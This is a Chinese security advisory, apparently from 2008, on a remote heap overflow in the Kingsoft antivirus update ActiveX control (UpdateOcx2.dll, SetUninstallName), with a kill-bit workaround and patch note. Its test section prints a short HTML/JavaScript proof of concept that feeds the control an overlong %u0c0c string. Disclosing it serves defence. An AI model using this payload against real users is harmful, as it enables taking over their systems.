安全研究
安全漏洞
金山毒霸在线升级模块ActiveX控件远程堆溢出漏洞
发布日期:2008-03-10
更新日期:2008-03-11
受影响系统:Kingsoft Corp UpdateOcx2.dll 2007.12.29.29
描述:
BUGTRAQ ID:
28172
金山毒霸是中国广泛使用反病毒程序。
金山毒霸产品所安装的在线升级模块实现上存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞控制用户系统。
在线升级模块(默认路径C:\WINDOWS\system32\KingSoft\KOS\UpdateOcx2.dll)中的SetUninstallName()函数没有正确地验证某些用户参数输入,如果用户受骗访问了恶意网页并向该函数传送了超长参数的话,就可能触发堆溢出,导致执行任意指令。
<*来源:void (
void@ph4nt0m.org)
链接:
http://www.milw0rm.com/exploits/5225
http://secunia.com/advisories/29204/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<object classid='clsid:D82303B7-A754-4DCB-8AFC-8CF99435AACE' id='target1'></object>
<object classid='clsid:D82303B7-A754-4DCB-8AFC-8CF99435AACE' id='target2'></object>
<script>
var str1 = "";
while (str1.length < 914)
{ str1 += unescape("%u0c0c");
}
target1.SetUninstallName(str1);
</script>
建议:
临时解决方法:
* 为clsid:D82303B7-A754-4DCB-8AFC-8CF99435AACE设置kill bit。
厂商补丁:
Kingsoft Corp
-------------
目前厂商已经发布了升级补丁以修复这个安全问题,请将毒霸升级至最新版本即可修复。
浏览次数:3218
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载 绿盟科技给您安全的保障 |